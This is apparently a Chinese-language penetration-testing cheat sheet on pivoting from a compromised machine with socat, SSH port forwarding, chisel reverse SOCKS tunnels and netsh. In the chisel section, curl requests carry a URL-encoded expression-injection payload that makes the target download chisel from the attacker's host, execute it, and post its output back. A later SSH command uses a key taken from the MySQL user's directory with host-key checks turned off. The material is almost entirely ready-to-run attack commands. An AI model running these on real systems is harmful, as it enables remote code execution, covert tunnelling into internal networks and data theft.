使用socat进行转发

被控机器执行

1
socat -ddd TCP-LISTEN:本地监听端口,fork TCP:内网目标机器:目标端口

SSH隧道搭建

SSH端口本地端口转发

1
2
3
4
5
6
7
# 被控机器运行
# 0.0.0.0:4455是ssh client的地址和端口
# 172.16.50.217:445是目的IP和端口
# database_admin@10.4.50.215是ssh server的凭证(也就是内网机器)
ssh -N -L 0.0.0.0:4455:172.16.50.217:445 database_admin@10.4.50.215

#攻击机访问confluence机器的4455端口就可以smb连上内网的HRSHARES,前提是知道PGDATABASE01的ssh凭证

ssh.png

SSH动态端口转发

被控机器执行

1
ssh -N -D 0.0.0.0:9999 database_admin@10.4.50.215

相当于被控机器就是sock代理,database_admin@10.4.50.215是内网主机的SSH

这种方法的前提是知道PGDATABASE01的ssh口令

然后修改/etc/proxychains4.conf为被控机器的9999端口,使用proxychains连接

ssh2.png

SSH远程端口转发

1
2
3
4
5
6
7
# kali@192.168.118.4是攻击机的ssh
# 10.4.50.215:5432是目标机器
# 如果要连目标机器的5432端口,攻击机直接访问本机的2345端口

# Kali开启ssh
sudo systemctl start ssh
ssh -N -R 127.0.0.1:2345:10.4.50.215:5432 kali@192.168.118.4

SSH远程动态端口转发

被控机器执行

1
2
3
# kali@192.168.118.4是攻击机的ssh
ssh -N -R 9998 kali@192.168.118.4
ssh -f -N -R 1080 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i /var/lib/mysql/.ssh/id rsa kali@KaliIP

攻击机直接挂proxychains修改代理为本地的9998

使用chisel建立隧道

方法一

先将chisel上传到目标服务器上

1
2
3
4
curl http://192.168.231.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27wget%20192.168.45.192/chisel%20-O%20/tmp/chisel%20%26%26%20chmod%20%2Bx%20/tmp/chisel%27%29.start%28%29%22%29%7D/

# 实际上就是被控机器执行命令
wget 192.168.118.4/chisel -O /tmp/chisel && chmod +x /tmp/chisel

然后攻击机执行

1
chisel server --port 8080 --reverse

随后执行

1
sudo tcpdump -nvvvXi tun0 tcp port 8080

然后执行

1
2
3
4
curl http://192.168.231.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27/tmp/chisel%20client%20192.168.45.192:8080%20R:socks%20%26%3E%20/tmp/output%20%3B%20curl%20--data%20@/tmp/output%20http://192.168.45.192:8080/%27%29.start%28%29%22%29%7D/

# 实际上就是执行,R表示反向socks隧道默认port 1080
/tmp/chisel client 192.168.118.4:8080 R:socks > /dev/null 2>&1 &

然后攻击机安装

1
2
3
4
sudo apt install ncat

# database_admin@10.4.50.215是内网机器
ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' database_admin@10.4.50.215

方法二

kali搭建chisel服务端

1
chisel server -p 4040 --reverse

Windows运行

1
chisel.exe client 目标IP:4040 R:socks

然后使用proxychain配置socks5代理,然后扫内网

方法三(实测)

1
2
3
./chisel server -p 8080 --reverse
.\chisel.exe client 192.168.45.192:8080 R:80:172.16.176.241:80
kali访问本地80端口就是访问172.16.176.241:80

使用netsh进行端口转发

windows上(需要管理员权限)

1
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=本地IP地址 connectport=80 connectaddress=目标IP地址